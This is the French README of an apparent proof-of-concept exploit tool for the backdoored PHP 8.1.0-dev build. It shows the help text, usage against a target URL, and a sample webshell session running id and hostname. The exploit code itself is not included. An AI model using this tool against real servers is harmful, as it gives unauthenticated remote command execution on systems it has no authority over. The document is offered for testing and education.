
PHP 8.1.0-dev WebShell Exécution de code à distance
Code d'exploit pour PHP 8.1.0-dev WebShell RCE (sans authentification)
Résultat attendu : exploitation de la backdoor installée sur le serveur PHP 8.1.0-dev, permettant d'obtenir un WebShell pour exécuter des commandes à distance.
Prévu uniquement pour l'éducation et les tests dans des environnements d'entreprise.
Cet exploit a été testé sur Python 3.8.6.
cfx: ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]
PHP 8.1.0-dev WebShell RCE by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
Cet exploit attend un seul argument pour s'exécuter initialement :
cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Target is running on PHP 8.1.0-dev
*Shoot your commands below*
[^] WebShell=- id
uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)
[^] WebShell=- hostname
shockwave
[^] WebShell=- ^C
Exiting.
cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Invalid URL or Target Not Vulnerable